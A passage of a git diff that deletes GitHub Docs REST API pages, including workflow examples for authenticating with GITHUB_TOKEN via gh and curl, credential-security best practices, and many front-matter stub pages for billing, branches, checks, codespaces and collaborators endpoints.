[AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsrun). - -In the following example workflow, replace `PATH` with the path of the endpoint. For more information about the path, see [AUTOTITLE](/rest/guides/getting-started-with-the-rest-api?tool=cli#path).{% ifversion ghes %} Replace `HOSTNAME` with the name of {% data variables.location.product_location %}.{% endif %} - -```yaml -jobs: - use_api: - runs-on: ubuntu-latest - permissions: {} - steps: - - env: - GH_TOKEN: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %} - run: | - gh api /PATH -``` - -### Authenticating in a {% data variables.product.prodname_actions %} workflow using `curl` - -To make an authenticated request to the API in a {% data variables.product.prodname_actions %} workflow using `curl`, you can store the value of `GITHUB_TOKEN` as an environment variable, and use the `run` keyword to execute a `curl` request to the API. For more information about the `run` keyword, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsrun). - -In the following example workflow, replace `PATH` with the path of the endpoint. For more information about the path, see [AUTOTITLE](/rest/guides/getting-started-with-the-rest-api?tool=cli#path).{% ifversion ghes %} Replace `HOSTNAME` with the name of {% data variables.location.product_location %}.{% endif %} - -```yaml copy -jobs: - use_api: - runs-on: ubuntu-latest - permissions: {} - steps: - - env: - GH_TOKEN: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %} - run: | - curl --request GET \ - --url "{% data variables.product.rest_url %}/PATH" \ - --header "Authorization: Bearer $GH_TOKEN" -``` - -### Authenticating in a {% data variables.product.prodname_actions %} workflow using JavaScript - -For an example of how to authenticate in a {% data variables.product.prodname_actions %} workflow using JavaScript, see [AUTOTITLE](/rest/guides/scripting-with-the-rest-api-and-javascript#authenticating-in-github-actions). - -## Authenticating with username and password - -{% ifversion ghes %} - -{% data variables.product.company_short %} recommends that you use a token to authenticate to the REST API instead of your password. You have more control over what a token can do, and you can revoke a token at anytime. However, you can also authenticate to the REST API using your username and password for basic authentication. To do so, you will pass your username and password with the `--user` option: - -```shell -curl --request GET \ ---url "{% data variables.product.rest_url %}/user" \ ---user USERNAME:PASSWORD \ ---header "X-GitHub-Api-Version: {{ allVersions[currentVersion].latestApiVersion }}" -``` - -{% else %} - -Authentication with username and password is not supported. If you try to authenticate with user name and password, you will receive a 4xx error. - -{% endif %} - -## Further reading - -* [AUTOTITLE](/rest/overview/keeping-your-api-credentials-secure) -* [AUTOTITLE](/rest/guides/getting-started-with-the-rest-api#authenticating) diff --git a/content/rest/authentication/endpoints-available-for-fine-grained-personal-access-tokens.md b/content/rest/authentication/endpoints-available-for-fine-grained-personal-access-tokens.md deleted file mode 100644 index bdead9cd6eda..000000000000 --- a/content/rest/authentication/endpoints-available-for-fine-grained-personal-access-tokens.md +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: Endpoints available for fine-grained personal access tokens -intro: 'Your {% data variables.product.pat_v2 %} can make requests to the following REST endpoints.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: Endpoints for fine-grained PATs -autogenerated: github-apps -redirect_from: - - /rest/overview/endpoints-available-for-fine-grained-personal-access-tokens ---- - - diff --git a/content/rest/authentication/endpoints-available-for-github-app-installation-access-tokens.md b/content/rest/authentication/endpoints-available-for-github-app-installation-access-tokens.md deleted file mode 100644 index 47286b53922c..000000000000 --- a/content/rest/authentication/endpoints-available-for-github-app-installation-access-tokens.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Endpoints available for GitHub App installation access tokens -shortTitle: Endpoints for GitHub App installation tokens -intro: Your GitHub App can make requests to the following REST endpoints with an installation access token. -permissions: 'You can use an installation access token to access these endpoints using your {% data variables.product.prodname_github_app %}. For more information, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/authenticating-as-a-github-app-installation).' -redirect_from: - - /v3/apps/available-endpoints - - /rest/reference/endpoints-available-for-github-apps - - /rest/overview/endpoints-available-for-github-apps - - /rest/overview/endpoints-available-for-github-app-installation-access-tokens -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - API - - GitHub Apps -autogenerated: github-apps ---- - - - - diff --git a/content/rest/authentication/endpoints-available-for-github-app-user-access-tokens.md b/content/rest/authentication/endpoints-available-for-github-app-user-access-tokens.md deleted file mode 100644 index 0cabed9a46f9..000000000000 --- a/content/rest/authentication/endpoints-available-for-github-app-user-access-tokens.md +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: Endpoints available for GitHub App user access tokens -shortTitle: Endpoints for GitHub App user tokens -intro: Your GitHub App can make requests to the following REST endpoints with a user access token. -permissions: 'You can use a user access token to access these endpoints using your {% data variables.product.prodname_github_app %}. For more information, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/authenticating-with-a-github-app-on-behalf-of-a-user).' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - API - - GitHub Apps -autogenerated: github-apps -redirect_from: - - /rest/overview/endpoints-available-for-github-app-user-access-tokens ---- - - - - diff --git a/content/rest/authentication/index.md b/content/rest/authentication/index.md deleted file mode 100644 index 780222663103..000000000000 --- a/content/rest/authentication/index.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Authenticating to the REST API -shortTitle: Authentication -intro: 'Learn how to authenticate your REST API requests.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - API -children: - - /authenticating-to-the-rest-api - - /keeping-your-api-credentials-secure - - /endpoints-available-for-github-app-installation-access-tokens - - /endpoints-available-for-github-app-user-access-tokens - - /endpoints-available-for-fine-grained-personal-access-tokens - - /permissions-required-for-github-apps - - /permissions-required-for-fine-grained-personal-access-tokens ---- diff --git a/content/rest/authentication/keeping-your-api-credentials-secure.md b/content/rest/authentication/keeping-your-api-credentials-secure.md deleted file mode 100644 index c00f032b315b..000000000000 --- a/content/rest/authentication/keeping-your-api-credentials-secure.md +++ /dev/null @@ -1,70 +0,0 @@ ---- -title: Keeping your API credentials secure -shortTitle: Keeping API credentials secure -intro: Follow these best practices to keep your API credentials and tokens secure. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - API -redirect_from: - - /rest/overview/keeping-your-api-credentials-secure ---- - -## Choose an appropriate authentication method - -You should choose an authentication method that is appropriate for the task you want to accomplish. - -* To use the API for personal use, you can create a {% data variables.product.pat_generic %}. -* To use the API on behalf of an organization or another user, you should create a {% data variables.product.prodname_github_app %}. -* To use the API in a {% data variables.product.prodname_actions %} workflow, you should authenticate with the built-in `GITHUB_TOKEN`. - -For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/about-authentication-to-github#authenticating-with-the-api). - -## Limit the permissions of your credentials - -When creating a {% data variables.product.pat_generic %}, only select the minimum permissions or scopes needed, and set an expiration date for the minimum amount of time you'll need to use the token. {% data variables.product.company_short %} recommends that you use {% data variables.product.pat_v2 %}s instead of {% data variables.product.pat_v1_plural %}. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/managing-your-personal-access-tokens#types-of-personal-access-tokens). - -{% data reusables.user-settings.token_access_capabilities %} - -When creating a {% data variables.product.prodname_github_app %}, select the minimum permissions that your {% data variables.product.prodname_github_app %} will need. For more information, see [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/best-practices-for-creating-a-github-app). - -When authenticating with `GITHUB_TOKEN` in a {% data variables.product.prodname_actions %} workflow, only give the minimum amount of permissions needed. For more information, see [AUTOTITLE](/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token). - -## Store your authentication credentials securely - -Treat authentication credentials the same way you would treat your passwords or other sensitive credentials. - -* Don't share authentication credentials using an unencrypted messaging or email system. -* Don't pass your {% data variables.product.pat_generic %} as plain text in the command line. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/managing-your-personal-access-tokens#keeping-your-personal-access-tokens-secure). -* Don't push unencrypted authentication credentials like tokens or keys to any repository, even if the repository is private. Instead consider using a {% data variables.product.prodname_actions %} secret{% ifversion fpt or ghec %} or Codespaces secret{% endif %}. For more information, see [AUTOTITLE](/actions/security-guides/encrypted-secrets){% ifversion fpt or ghec %} and [AUTOTITLE](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces){% endif %}. -* You can use secret scanning to discover tokens, private keys, and other secrets that were pushed to a repository, or to block future pushes that contain secrets. For more information, see [AUTOTITLE](/code-security/secret-scanning/introduction/about-secret-scanning). - -## Limit who can access your authentication credentials - -Don't share your {% data variables.product.pat_generic %} with others. Instead of sharing a {% data variables.product.pat_generic %}, consider creating a {% data variables.product.prodname_github_app %}. For more information, see [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/about-creating-github-apps). - -If you need to share credentials with a team, store the credentials in a secure shared system. For example, you could store and share passwords securely using [1Password](https://1password.com/), or you could store keys in [Azure KeyVault](https://azure.microsoft.com/en-gb/products/key-vault) and manage access with your IAM (Identity and access management). - -If you're creating a {% data variables.product.prodname_actions %} workflow that needs to access the API, you can store your credentials in an encrypted secret, and access the encrypted secret from the workflow. For more information, see [AUTOTITLE](/actions/security-guides/encrypted-secrets) and [AUTOTITLE](/apps/creating-github-apps/guides/making-authenticated-api-requests-with-a-github-app-in-a-github-actions-workflow). - -## Use authentication credentials securely in your code - -Never hardcode authentication credentials like tokens, keys, or app-related secrets into your code. Instead, consider using a secret manager such as [Azure Key Vault](https://azure.microsoft.com/products/key-vault) or [HashiCorp Vault](https://www.hashicorp.com/products/vault). For more information about securing {% data variables.product.prodname_github_app %} credentials, see [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/best-practices-for-creating-a-github-app). - -When using a {% data variables.product.pat_generic %} in a script, consider storing your token as a {% data variables.product.prodname_actions %} secret and running your script through {% data variables.product.prodname_actions %}.{% ifversion fpt or ghec %} You can also store your token as a Codespaces secret and run your script in Codespaces.{% endif %} For more information, see [AUTOTITLE](/actions/security-guides/encrypted-secrets){% ifversion fpt or ghec %} and [AUTOTITLE](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces){% endif %}. - -If none of these options are possible, you can store authentication credentials in a `.env` file. Make sure to encrypt your `.env` file, and never push it to any repository. - -## Prepare a remediation plan - -You should create a plan to handle any security breaches in a timely manner. In the event that your token or other authentication credential is leaked, you will need to: - -* Generate a new credential. -* Replace the old credential with the new one everywhere that you are storing or accessing the credential. -* Delete the old compromised credential. - -For information about rotating compromised credentials for a {% data variables.product.prodname_github_app %}, see [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/best-practices-for-creating-a-github-app). - -For information about creating and deleting {% data variables.product.pat_generic %}s, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/managing-your-personal-access-tokens). diff --git a/content/rest/authentication/permissions-required-for-fine-grained-personal-access-tokens.md b/content/rest/authentication/permissions-required-for-fine-grained-personal-access-tokens.md deleted file mode 100644 index 67c9d7c00cb8..000000000000 --- a/content/rest/authentication/permissions-required-for-fine-grained-personal-access-tokens.md +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: Permissions required for fine-grained personal access tokens -intro: 'For each permission granted to a {% data variables.product.pat_v2 %}, these are the REST API endpoints that the app can use.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: Permissions for fine-grained PATs -autogenerated: github-apps -redirect_from: - - /rest/overview/permissions-required-for-fine-grained-personal-access-tokens ---- - -## About permissions required for {% data variables.product.pat_v2 %} - -When you create a {% data variables.product.pat_v2 %}, you grant it a set of permissions. Permissions define what resources the {% data variables.product.prodname_github_app %} can access via the API. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token). - -{% data reusables.rest-api.permission-header %} - -{% data reusables.rest-api.public-access %} - -{% data reusables.rest-api.additional-permissions %} - - diff --git a/content/rest/authentication/permissions-required-for-github-apps.md b/content/rest/authentication/permissions-required-for-github-apps.md deleted file mode 100644 index cfca662d3662..000000000000 --- a/content/rest/authentication/permissions-required-for-github-apps.md +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: Permissions required for GitHub Apps -intro: 'For each permission granted to a {% data variables.product.prodname_github_app %}, these are the REST API endpoints that the app can use.' -redirect_from: - - /v3/apps/permissions - - /rest/reference/permissions-required-for-github-apps - - /rest/overview/permissions-required-for-github-apps -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - API -shortTitle: Permissions for GitHub Apps -autogenerated: github-apps ---- - -## About {% data variables.product.prodname_github_app %} permissions - -{% data variables.product.prodname_github_apps %} are created with a set of permissions. Permissions define what resources the {% data variables.product.prodname_github_app %} can access via the API. For more information, see [AUTOTITLE](/apps/creating-github-apps/creating-github-apps/setting-permissions-for-github-apps). - -{% data reusables.rest-api.permission-header %} - -{% data reusables.rest-api.public-access %} - -{% data reusables.rest-api.additional-permissions %} - - diff --git a/content/rest/billing/billing.md b/content/rest/billing/billing.md deleted file mode 100644 index 71170d24af4f..000000000000 --- a/content/rest/billing/billing.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: REST API endpoints for billing -shortTitle: Billing -allowTitleToDifferFromFilename: true -intro: Use the REST API to get billing information for an enterprise. -topics: - - API -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -redirect_from: - - /rest/reference/billing -autogenerated: rest ---- - -## About billing - -You can get billing information for an enterprise. For more information, see [AUTOTITLE](/rest/enterprise-admin/billing). - - diff --git a/content/rest/billing/enhanced-billing.md b/content/rest/billing/enhanced-billing.md deleted file mode 100644 index 4d290b9bedb9..000000000000 --- a/content/rest/billing/enhanced-billing.md +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: Enhanced billing platform -intro: Use the REST API to get billing usage information from the enhanced billing platform. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' -topics: - - API -autogenerated: rest -allowTitleToDifferFromFilename: true ---- - - diff --git a/content/rest/billing/index.md b/content/rest/billing/index.md deleted file mode 100644 index 8ed2ba4cb74b..000000000000 --- a/content/rest/billing/index.md +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: REST API endpoints for billing -shortTitle: Billing -allowTitleToDifferFromFilename: true -intro: Use the REST API to get billing information for an enterprise. -topics: - - API -versions: - fpt: '*' - ghec: '*' - ghes: '*' -children: - - /billing - - /enhanced-billing -autogenerated: rest ---- - - diff --git a/content/rest/branches/branch-protection.md b/content/rest/branches/branch-protection.md deleted file mode 100644 index 38cedfe6105c..000000000000 --- a/content/rest/branches/branch-protection.md +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: REST API endpoints for protected branches -shortTitle: Protected branches -intro: Use the REST API to manage protected branches. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -allowTitleToDifferFromFilename: true -autogenerated: rest ---- - - - - diff --git a/content/rest/branches/branches.md b/content/rest/branches/branches.md deleted file mode 100644 index 47c6a34ac35e..000000000000 --- a/content/rest/branches/branches.md +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: REST API endpoints for branches -shortTitle: Branches -allowTitleToDifferFromFilename: true -intro: Use the REST API to modify branches and their protection settings. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: rest ---- - - - - diff --git a/content/rest/branches/index.md b/content/rest/branches/index.md deleted file mode 100644 index 7c2e5c037a3d..000000000000 --- a/content/rest/branches/index.md +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: REST API endpoints for branches and their settings -shortTitle: Branches -intro: Use the REST API to modify branches and their protection settings. -allowTitleToDifferFromFilename: true -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - API -children: - - /branches - - /branch-protection -redirect_from: - - /rest/reference/branches -autogenerated: rest ---- - - - - diff --git a/content/rest/checks/index.md b/content/rest/checks/index.md deleted file mode 100644 index ba985a0a55fb..000000000000 --- a/content/rest/checks/index.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: REST API endpoints for checks -shortTitle: Checks -allowTitleToDifferFromFilename: true -intro: 'Use the REST API to build {% data variables.product.prodname_github_apps %} that run powerful checks against the code changes in a repository.' -redirect_from: - - /v3/checks - - /rest/reference/checks -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - API -children: - - /runs - - /suites -autogenerated: rest ---- - -You can create apps that perform continuous integration, code linting, or code scanning services and provide detailed feedback on commits. For more information, see [AUTOTITLE](/rest/guides/using-the-rest-api-to-interact-with-checks) and [AUTOTITLE](/apps/creating-github-apps/writing-code-for-a-github-app/building-ci-checks-with-a-github-app). - - diff --git a/content/rest/checks/runs.md b/content/rest/checks/runs.md deleted file mode 100644 index 8dd5e220edbc..000000000000 --- a/content/rest/checks/runs.md +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: REST API endpoints for check runs -shortTitle: Check runs -intro: Use the REST API to manage check runs. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -allowTitleToDifferFromFilename: true -autogenerated: rest ---- - -> [!NOTE] -> {% data reusables.apps.checks-availability %} - - diff --git a/content/rest/checks/suites.md b/content/rest/checks/suites.md deleted file mode 100644 index 571a149aedef..000000000000 --- a/content/rest/checks/suites.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: REST API endpoints for check suites -shortTitle: Check suites -intro: Use the REST API to manage check suites. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -allowTitleToDifferFromFilename: true -autogenerated: rest ---- - -> [!NOTE] -> {% data reusables.apps.checks-availability %} - -> [!NOTE] -> A GitHub App usually only receives one [`check_suite`](/webhooks-and-events/webhooks/webhook-events-and-payloads#check_suite) event per commit SHA, even if you push the commit SHA to more than one branch. To find out when a commit SHA is pushed to a branch, you can subscribe to branch [`create`](/webhooks-and-events/webhooks/webhook-events-and-payloads#create) events. - - diff --git a/content/rest/classroom/classroom.md b/content/rest/classroom/classroom.md deleted file mode 100644 index 70054bc3486f..000000000000 --- a/content/rest/classroom/classroom.md +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: REST API endpoints for {% data variables.product.prodname_classroom %} -shortTitle: Classroom -intro: 'Use the REST API to interact with {% data variables.product.prodname_classroom %}.' -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' -topics: - - API -autogenerated: rest -allowTitleToDifferFromFilename: true ---- - - diff --git a/content/rest/classroom/index.md b/content/rest/classroom/index.md deleted file mode 100644 index fc71fffca970..000000000000 --- a/content/rest/classroom/index.md +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: REST API endpoints for {% data variables.product.prodname_classroom %} -shortTitle: Classroom -intro: 'Use the REST API to interact with {% data variables.product.prodname_classroom %}.' -topics: - - API -autogenerated: rest -allowTitleToDifferFromFilename: true -children: - - /classroom -versions: - fpt: '*' - ghec: '*' ---- diff --git a/content/rest/code-scanning/code-scanning.md b/content/rest/code-scanning/code-scanning.md deleted file mode 100644 index 94ffcf154cee..000000000000 --- a/content/rest/code-scanning/code-scanning.md +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: REST API endpoints for code scanning -shortTitle: Code scanning -allowTitleToDifferFromFilename: true -intro: >- - Use the REST API to retrieve and update {% data - variables.product.prodname_code_scanning %} alerts from a repository. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API - - Code scanning - - REST -redirect_from: - - /rest/reference/code-scanning -autogenerated: rest ---- - -## About code scanning - -You can retrieve and update {% data variables.product.prodname_code_scanning %} alerts from a repository. You can use the endpoints to create automated reports for the {% data variables.product.prodname_code_scanning %} alerts in an organization or upload analysis results generated using offline {% data variables.product.prodname_code_scanning %} tools. For more information, see [AUTOTITLE](/code-security/code-scanning). - - diff --git a/content/rest/code-scanning/index.md b/content/rest/code-scanning/index.md deleted file mode 100644 index d103e6ec6a4c..000000000000 --- a/content/rest/code-scanning/index.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: REST API endpoints for code scanning -shortTitle: Code scanning -allowTitleToDifferFromFilename: true -intro: >- - Use the REST API to retrieve and update {% data - variables.product.prodname_code_scanning %} alerts from a repository. -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API - - Code scanning - - REST -children: - - /code-scanning -autogenerated: rest ---- - - diff --git a/content/rest/code-security/configurations.md b/content/rest/code-security/configurations.md deleted file mode 100644 index 9a70756b8ba0..000000000000 --- a/content/rest/code-security/configurations.md +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: Configurations -intro: >- - Use the REST API to create and manage security configurations for your - organization. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '>=3.15' -topics: - - API -autogenerated: rest -allowTitleToDifferFromFilename: true ---- - - diff --git a/content/rest/code-security/index.md b/content/rest/code-security/index.md deleted file mode 100644 index e0c5455f98b7..000000000000 --- a/content/rest/code-security/index.md +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: Security settings -intro: Use the REST API to create and manage security configurations for your organization. -topics: - - API -autogenerated: rest -allowTitleToDifferFromFilename: true -children: - - /configurations -versions: - fpt: '*' - ghec: '*' - ghes: '>=3.15' ---- diff --git a/content/rest/codes-of-conduct/codes-of-conduct.md b/content/rest/codes-of-conduct/codes-of-conduct.md deleted file mode 100644 index 8f4aa0100f60..000000000000 --- a/content/rest/codes-of-conduct/codes-of-conduct.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: REST API endpoints for codes of conduct -shortTitle: Codes of conduct -allowTitleToDifferFromFilename: true -intro: Use the REST API to get information about codes of conduct. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -redirect_from: - - /rest/reference/codes-of-conduct -autogenerated: rest ---- - - - - diff --git a/content/rest/codes-of-conduct/index.md b/content/rest/codes-of-conduct/index.md deleted file mode 100644 index 27fdbdb1cec2..000000000000 --- a/content/rest/codes-of-conduct/index.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: REST API endpoints for codes of conduct -shortTitle: Codes of conduct -allowTitleToDifferFromFilename: true -intro: Use the REST API to get information about codes of conduct. -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -children: - - /codes-of-conduct -autogenerated: rest ---- - - - - diff --git a/content/rest/codespaces/codespaces.md b/content/rest/codespaces/codespaces.md deleted file mode 100644 index 9620affd31e9..000000000000 --- a/content/rest/codespaces/codespaces.md +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: REST API endpoints for Codespaces -shortTitle: Codespaces -allowTitleToDifferFromFilename: true -intro: >- - Use the REST API to manage {% data - variables.product.prodname_github_codespaces %}. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' -topics: - - API -autogenerated: rest ---- - -## About {% data variables.product.prodname_github_codespaces %} - -You can manage {% data variables.product.prodname_codespaces %} using the REST API. These endpoints are available for authenticated users, {% data variables.product.prodname_oauth_apps %}, and {% data variables.product.prodname_github_apps %}. For more information, see [AUTOTITLE](/codespaces). - - diff --git a/content/rest/codespaces/index.md b/content/rest/codespaces/index.md deleted file mode 100644 index 6f3b2cf6264e..000000000000 --- a/content/rest/codespaces/index.md +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: REST API endpoints for Codespaces -shortTitle: Codespaces -allowTitleToDifferFromFilename: true -intro: 'Use the REST API to manage {% data variables.product.prodname_github_codespaces %}.' -versions: - fpt: '*' - ghec: '*' -topics: - - API -children: - - /codespaces - - /organizations - - /organization-secrets - - /machines - - /repository-secrets - - /secrets -redirect_from: - - /rest/reference/codespaces -autogenerated: rest ---- - - - - diff --git a/content/rest/codespaces/machines.md b/content/rest/codespaces/machines.md deleted file mode 100644 index 6143805a4cb4..000000000000 --- a/content/rest/codespaces/machines.md +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: REST API endpoints for Codespaces machines -allowTitleToDifferFromFilename: true -shortTitle: Machines -intro: Use the REST API to manage availability of machine types for a codespace. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' -topics: - - API -autogenerated: rest ---- - -## About {% data variables.product.prodname_codespaces %} machines - -You can determine which machine types are available to create a codespace, either on a given repository or as an authenticated user. For more information, see [AUTOTITLE](/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace#about-machine-types). - -You can also use this information when changing the machine of an existing codespace by updating its `machine` property. The machine update will take place the next time the codespace is restarted. For more information, see [AUTOTITLE](/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace). - - diff --git a/content/rest/codespaces/organization-secrets.md b/content/rest/codespaces/organization-secrets.md deleted file mode 100644 index c4a0d875d96c..000000000000 --- a/content/rest/codespaces/organization-secrets.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: REST API endpoints for Codespaces organization secrets -allowTitleToDifferFromFilename: true -shortTitle: Organization secrets -intro: >- - Use the REST API to manage your organization-level {% data - variables.product.prodname_codespaces %} secrets. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' -topics: - - API -autogenerated: rest ---- - -> [!NOTE] -> These endpoints are currently in {% data variables.release-phases.public_preview %} and subject to change. - - diff --git a/content/rest/codespaces/organizations.md b/content/rest/codespaces/organizations.md deleted file mode 100644 index a9b900220ee9..000000000000 --- a/content/rest/codespaces/organizations.md +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: REST API endpoints for Codespaces organizations -allowTitleToDifferFromFilename: true -shortTitle: Organizations -intro: Use the REST API to manage your organization members codespaces. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' -topics: - - API -autogenerated: rest ---- - -## About {% data variables.product.prodname_codespaces %} organizations - -You can manage {% data variables.product.prodname_codespaces %} that are billed to your -organization. For more information, -see [AUTOTITLE](/codespaces). - - diff --git a/content/rest/codespaces/repository-secrets.md b/content/rest/codespaces/repository-secrets.md deleted file mode 100644 index 1aea9bcc9ca3..000000000000 --- a/content/rest/codespaces/repository-secrets.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: REST API endpoints for Codespaces repository secrets -allowTitleToDifferFromFilename: true -shortTitle: Repository secrets -intro: >- - Use the REST API to manage secrets for repositories that the user has access - to in a codespace. -permissions: >- - Users with write access to a repository can manage {% data - variables.product.prodname_codespaces %} repository secrets. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' -topics: - - API -autogenerated: rest ---- - -## About {% data variables.product.prodname_codespaces %} repository secrets - -You can create, list, and delete secrets (such as access tokens for cloud services) for repositories that the user has access to. These secrets are made available to the codespace at runtime. For more information, see [AUTOTITLE](/codespaces/managing-your-codespaces/managing-your-account-specific-secrets-for-github-codespaces). - - diff --git a/content/rest/codespaces/secrets.md b/content/rest/codespaces/secrets.md deleted file mode 100644 index 4632cda5fc9f..000000000000 --- a/content/rest/codespaces/secrets.md +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: REST API endpoints for Codespaces user secrets -allowTitleToDifferFromFilename: true -shortTitle: User secrets -intro: Use the REST API manage secrets that the user has access to in a codespace. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' -topics: - - API -autogenerated: rest ---- - -## About {% data variables.product.prodname_codespaces %} user secrets - -You can create, list, and delete secrets (such as access tokens for cloud services) as well as assign secrets to repositories that the user has access to. These secrets are made available to the codespace at runtime. For more information, see [AUTOTITLE](/codespaces/managing-your-codespaces/managing-your-account-specific-secrets-for-github-codespaces). - - diff --git a/content/rest/collaborators/collaborators.md b/content/rest/collaborators/collaborators.md deleted file mode 100644 index ddc86cb37591..000000000000 --- a/content/rest/collaborators/collaborators.md +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: REST API endpoints for collaborators -shortTitle: Collaborators -allowTitleToDifferFromFilename: true -intro: Use the REST API to manage collaborators for a repository. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: rest ---- - - - - diff --git a/content/rest/collaborators/index.md b/content/rest/collaborators/index.md deleted file mode 100644 index 1bf0ceab7f85..000000000000 --- a/content/rest/collaborators/index.md +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: REST API endpoints for collaborators -shortTitle: Collaborators -intro: 'Use the REST API to add, invite, and remove collaborators from a repository.' -allowTitleToDifferFromFilename: true -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - API -children: - - /collaborators - - /invitations -redirect_from: - - /rest/reference/collaborators -autogenerated: rest ---- - - - - diff --git a/content/rest/collaborators/invitations.md b/content/rest/collaborators/invitations.md deleted file mode 100644 index fa1139395919..000000000000 --- a/content/rest/collaborators/invitations.md +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: REST API endpoints for repository invitations -allowTitleToDifferFromFilename: true -shortTitle: Invitations -intro: >- - Use the REST API to view and manage invitations to collaborate on a - repository. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: rest ---- - 